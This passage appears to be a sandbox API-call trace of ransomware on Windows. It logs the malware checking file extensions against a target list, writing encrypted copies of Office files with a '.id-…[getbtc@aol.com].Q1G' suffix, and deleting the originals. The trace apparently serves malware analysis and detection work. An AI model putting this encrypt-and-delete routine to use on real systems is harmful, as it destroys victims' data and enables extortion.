lpString2=".HXK") returned -1 [0248.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK") returned 64 [0248.839] lstrlenW (lpString=".jpg") returned 4 [0248.839] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0248.839] lstrcmpiW (lpString1=".VSL", lpString2=".Q1G") returned 1 [0248.839] lstrlenW (lpString="HVAC.VSL") returned 8 [0248.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvac.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0248.841] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=36200) returned 1 [0248.841] CloseHandle (hObject=0x360) returned 1 [0248.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvac.vsl")) returned 0x20 [0248.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvac.vsl.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvac.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0248.841] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0248.841] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0248.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvac.vsl.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0248.842] GetLastError () returned 0x0 [0248.842] ReadFile (in: hFile=0x360, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x8d68, lpOverlapped=0x0) returned 1 [0248.845] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x8d70, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x8d70, lpOverlapped=0x0) returned 1 [0248.846] ReadFile (in: hFile=0x360, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0248.846] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xe4, lpOverlapped=0x0) returned 1 [0248.846] SetEndOfFile (hFile=0x3c0) returned 1 [0248.846] CloseHandle (hObject=0x3c0) returned 1 [0248.846] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0248.847] SetEndOfFile (hFile=0x360) returned 1 [0248.850] CloseHandle (hObject=0x360) returned 1 [0248.850] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.850] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvac.vsl")) returned 1 [0248.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned 56 [0248.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned 56 [0248.850] lstrlenW (lpString=".doc") returned 4 [0248.850] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0248.850] lstrlenW (lpString=".docx") returned 5 [0248.850] lstrcmpiW (lpString1=".docx", lpString2="C.VSL") returned -1 [0248.850] lstrlenW (lpString=".pdf") returned 4 [0248.850] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0248.850] lstrlenW (lpString=".xls") returned 4 [0248.851] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0248.851] lstrlenW (lpString=".xlsx") returned 5 [0248.851] lstrcmpiW (lpString1=".xlsx", lpString2="C.VSL") returned -1 [0248.851] lstrlenW (lpString=".ppt") returned 4 [0248.851] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0248.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned 56 [0248.851] lstrlenW (lpString=".zip") returned 4 [0248.851] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0248.851] lstrlenW (lpString=".rar") returned 4 [0248.851] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0248.851] lstrlenW (lpString=".bz2") returned 4 [0248.851] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0248.851] lstrlenW (lpString=".7z") returned 3 [0248.851] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0248.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned 56 [0248.851] lstrlenW (lpString=".dbf") returned 4 [0248.851] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0248.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned 56 [0248.851] lstrlenW (lpString=".1cd") returned 4 [0248.851] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0248.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned 56 [0248.851] lstrlenW (lpString=".jpg") returned 4 [0248.851] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0248.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned 56 [0248.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned 56 [0248.851] lstrlenW (lpString=".doc") returned 4 [0248.851] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0248.851] lstrlenW (lpString=".docx") returned 5 [0248.851] lstrcmpiW (lpString1=".docx", lpString2="C.VSL") returned -1 [0248.851] lstrlenW (lpString=".pdf") returned 4 [0248.851] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0248.851] lstrlenW (lpString=".xls") returned 4 [0248.851] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0248.851] lstrlenW (lpString=".xlsx") returned 5 [0248.851] lstrcmpiW (lpString1=".xlsx", lpString2="C.VSL") returned -1 [0248.852] lstrlenW (lpString=".ppt") returned 4 [0248.852] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0248.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned 56 [0248.852] lstrlenW (lpString=".zip") returned 4 [0248.852] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0248.852] lstrlenW (lpString=".rar") returned 4 [0248.852] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0248.852] lstrlenW (lpString=".bz2") returned 4 [0248.852] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0248.852] lstrlenW (lpString=".7z") returned 3 [0248.852] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0248.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned 56 [0248.852] lstrlenW (lpString=".dbf") returned 4 [0248.852] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0248.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned 56 [0248.852] lstrlenW (lpString=".1cd") returned 4 [0248.852] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0248.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL") returned 56 [0248.852] lstrlenW (lpString=".jpg") returned 4 [0248.852] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0248.852] lstrcmpiW (lpString1=".VRD", lpString2=".Q1G") returned 1 [0248.852] lstrlenW (lpString="HVACDIFF.VRD") returned 12 [0248.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacdiff.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0248.854] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=1919) returned 1 [0248.854] CloseHandle (hObject=0x3c4) returned 1 [0248.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacdiff.vrd")) returned 0x20 [0248.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacdiff.vrd.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacdiff.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0248.855] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0248.855] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0248.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacdiff.vrd.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0248.856] GetLastError () returned 0x0 [0248.856] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x77f, lpOverlapped=0x0) returned 1 [0248.860] WriteFile (in: hFile=0x360, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x780, lpOverlapped=0x0) returned 1 [0248.861] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0248.861] WriteFile (in: hFile=0x360, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xec, lpOverlapped=0x0) returned 1 [0248.861] SetEndOfFile (hFile=0x360) returned 1 [0248.862] CloseHandle (hObject=0x360) returned 1 [0248.862] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0248.862] SetEndOfFile (hFile=0x3c4) returned 1 [0248.863] CloseHandle (hObject=0x3c4) returned 1 [0248.864] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.864] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacdiff.vrd")) returned 1 [0248.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60 [0248.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60 [0248.864] lstrlenW (lpString=".doc") returned 4 [0248.864] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0248.864] lstrlenW (lpString=".docx") returned 5 [0248.864] lstrcmpiW (lpString1=".docx", lpString2="F.VRD") returned -1 [0248.864] lstrlenW (lpString=".pdf") returned 4 [0248.864] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0248.864] lstrlenW (lpString=".xls") returned 4 [0248.864] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0248.864] lstrlenW (lpString=".xlsx") returned 5 [0248.865] lstrcmpiW (lpString1=".xlsx", lpString2="F.VRD") returned -1 [0248.865] lstrlenW (lpString=".ppt") returned 4 [0248.865] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0248.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60 [0248.865] lstrlenW (lpString=".zip") returned 4 [0248.865] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0248.865] lstrlenW (lpString=".rar") returned 4 [0248.865] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0248.865] lstrlenW (lpString=".bz2") returned 4 [0248.865] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0248.865] lstrlenW (lpString=".7z") returned 3 [0248.865] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0248.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60 [0248.865] lstrlenW (lpString=".dbf") returned 4 [0248.865] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0248.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60 [0248.865] lstrlenW (lpString=".1cd") returned 4 [0248.865] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0248.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60 [0248.865] lstrlenW (lpString=".jpg") returned 4 [0248.865] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0248.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60 [0248.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60 [0248.865] lstrlenW (lpString=".doc") returned 4 [0248.865] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0248.865] lstrlenW (lpString=".docx") returned 5 [0248.865] lstrcmpiW (lpString1=".docx", lpString2="F.VRD") returned -1 [0248.865] lstrlenW (lpString=".pdf") returned 4 [0248.865] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0248.865] lstrlenW (lpString=".xls") returned 4 [0248.865] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0248.865] lstrlenW (lpString=".xlsx") returned 5 [0248.865] lstrcmpiW (lpString1=".xlsx", lpString2="F.VRD") returned -1 [0248.865] lstrlenW (lpString=".ppt") returned 4 [0248.865] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0248.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60 [0248.865] lstrlenW (lpString=".zip") returned 4 [0248.866] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0248.866] lstrlenW (lpString=".rar") returned 4 [0248.866] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0248.866] lstrlenW (lpString=".bz2") returned 4 [0248.866] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0248.866] lstrlenW (lpString=".7z") returned 3 [0248.866] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0248.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60 [0248.866] lstrlenW (lpString=".dbf") returned 4 [0248.866] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0248.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60 [0248.866] lstrlenW (lpString=".1cd") returned 4 [0248.866] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0248.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD") returned 60 [0248.866] lstrlenW (lpString=".jpg") returned 4 [0248.866] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0248.866] lstrcmpiW (lpString1=".VRD", lpString2=".Q1G") returned 1 [0248.866] lstrlenW (lpString="HVACDUCT.VRD") returned 12 [0248.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacduct.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0248.866] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=1309) returned 1 [0248.867] CloseHandle (hObject=0x3c4) returned 1 [0248.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacduct.vrd")) returned 0x20 [0248.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacduct.vrd.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacduct.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0248.867] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0248.867] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0248.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacduct.vrd.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0248.868] GetLastError () returned 0x0 [0248.868] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x51d, lpOverlapped=0x0) returned 1 [0249.095] WriteFile (in: hFile=0x360, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x520, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x520, lpOverlapped=0x0) returned 1 [0249.097] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0249.097] WriteFile (in: hFile=0x360, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xec, lpOverlapped=0x0) returned 1 [0249.098] SetEndOfFile (hFile=0x360) returned 1 [0249.098] CloseHandle (hObject=0x360) returned 1 [0249.098] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0249.098] SetEndOfFile (hFile=0x3c4) returned 1 [0249.100] CloseHandle (hObject=0x3c4) returned 1 [0249.100] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.100] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacduct.vrd")) returned 1 [0249.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned 60 [0249.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned 60 [0249.100] lstrlenW (lpString=".doc") returned 4 [0249.100] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0249.100] lstrlenW (lpString=".docx") returned 5 [0249.100] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0249.100] lstrlenW (lpString=".pdf") returned 4 [0249.100] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0249.101] lstrlenW (lpString=".xls") returned 4 [0249.101] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0249.101] lstrlenW (lpString=".xlsx") returned 5 [0249.101] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0249.101] lstrlenW (lpString=".ppt") returned 4 [0249.101] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0249.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned 60 [0249.101] lstrlenW (lpString=".zip") returned 4 [0249.101] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0249.101] lstrlenW (lpString=".rar") returned 4 [0249.101] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0249.101] lstrlenW (lpString=".bz2") returned 4 [0249.101] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0249.101] lstrlenW (lpString=".7z") returned 3 [0249.101] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0249.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned 60 [0249.101] lstrlenW (lpString=".dbf") returned 4 [0249.101] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0249.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned 60 [0249.101] lstrlenW (lpString=".1cd") returned 4 [0249.101] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0249.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned 60 [0249.101] lstrlenW (lpString=".jpg") returned 4 [0249.101] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0249.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned 60 [0249.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned 60 [0249.101] lstrlenW (lpString=".doc") returned 4 [0249.101] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0249.101] lstrlenW (lpString=".docx") returned 5 [0249.101] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0249.101] lstrlenW (lpString=".pdf") returned 4 [0249.101] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0249.101] lstrlenW (lpString=".xls") returned 4 [0249.101] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0249.101] lstrlenW (lpString=".xlsx") returned 5 [0249.101] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0249.101] lstrlenW (lpString=".ppt") returned 4 [0249.101] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0249.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned 60 [0249.102] lstrlenW (lpString=".zip") returned 4 [0249.102] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0249.102] lstrlenW (lpString=".rar") returned 4 [0249.102] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0249.102] lstrlenW (lpString=".bz2") returned 4 [0249.102] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0249.102] lstrlenW (lpString=".7z") returned 3 [0249.102] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0249.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned 60 [0249.102] lstrlenW (lpString=".dbf") returned 4 [0249.102] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0249.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned 60 [0249.102] lstrlenW (lpString=".1cd") returned 4 [0249.102] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0249.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned 60 [0249.102] lstrlenW (lpString=".jpg") returned 4 [0249.102] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0249.102] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0249.102] lstrlenW (lpString="INFOPATHEDITOR_F_COL.HXK") returned 24 [0249.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0249.204] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=114) returned 1 [0249.204] CloseHandle (hObject=0x3bc) returned 1 [0249.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_f_col.hxk")) returned 0x20 [0249.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 